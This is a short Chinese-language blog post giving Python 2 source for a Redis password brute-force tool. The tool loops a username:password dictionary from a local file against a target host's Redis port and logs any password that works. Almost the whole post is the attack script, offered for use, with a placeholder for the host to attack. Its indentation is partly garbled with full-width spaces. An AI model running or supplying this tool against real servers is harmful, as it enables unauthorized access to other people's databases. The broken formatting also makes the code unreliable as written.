用python 编写redis 暴力破解密码的程序

本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ 

import redis
import logging

LOGIN_TIMEOUT = 12

class RedisAuth:
　　#初始化
    def __init__(self, (host, port)):
        self.addr = (host, port)
        print self.addr
　　#login函数，有三个参数，self，username，password
    def login(self, username='', password=''):
        conn_ok, auth_ok, banner = False, False, ''
        connection = None
        try:
　　　　　　　#连接redis
　　　　　　　#redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8', 
　　　　　　　　errors='strict', decode_responses=False, unix_socket_path=None)
            connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],password=password,db=0, socket_connect_timeout=LOGIN_TIMEOUT)
            conn_ok = True
            auth_ok = True
            print password
            info = connection.info()
            banner = str(info)
            logging.getLogger().warn('FOUND %s:%s@%s:%d<OK>' % (username, password, self.addr[0], self.addr[1]))
        except Exception as e:
            es = str(e)
            if es.find('Password') >= 0:
                conn_ok = True
            else:
                conn_ok = False
                logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es))
                print es
        del connection   #删除变量connection
        return conn_ok, auth_ok, banner

class RedisBruteTester:
    def __init__(self, userdict, passwords=None):
        self.userdict = userdict
        pass

    def test(self, task):
        (host, port) = (task[0], task[1])
        rs = []
        auth = RedisAuth((host, port))
        # print self.userdict
        for username in self.userdict:
            for password in self.userdict[username]:
                conn_ok, auth_ok, banner = auth.login(username, password)
                print conn_ok,auth_ok,banner
                if not conn_ok:
                    # return rs
                    continue
                if not auth_ok:                    
　　　　　　　　　　　　continue                
　　　　　　　　　rs.append([host, port, 'REDIS', username, password, banner])                
　　　　　　　　　break        
　　　　if not rs:            
　　　　　　logging.getLogger().info('SAFE %s:%d' % (host, port))        
　　　　return rs

if __name__ == '__main__':    
　　host,port = "需要暴力破解的host",int('6379')    
　　userdict = dict()    
　　for ln in open('c:\\redis_userpasswd.txt'):        
　　　　fs = ln.strip().split(':', 1)        
　　　　if len(fs) != 2:            
　　　　　　continue        
　　　　username = fs[0]        
　　　　password = fs[1]        
　　　　if username not in userdict:            
　　　　　　userdict[username] = set()        
　　　　userdict[username].add(password)    
　　　　# logger = xutils.initLogger('.\\pass\\redis.txt')    
　　tester = RedisBruteTester(userdict)    
　　rs = tester.test((host, port))    
　　if rs == []:        
　　　　print('Faild')    
　　else:        
　　　　print(rs)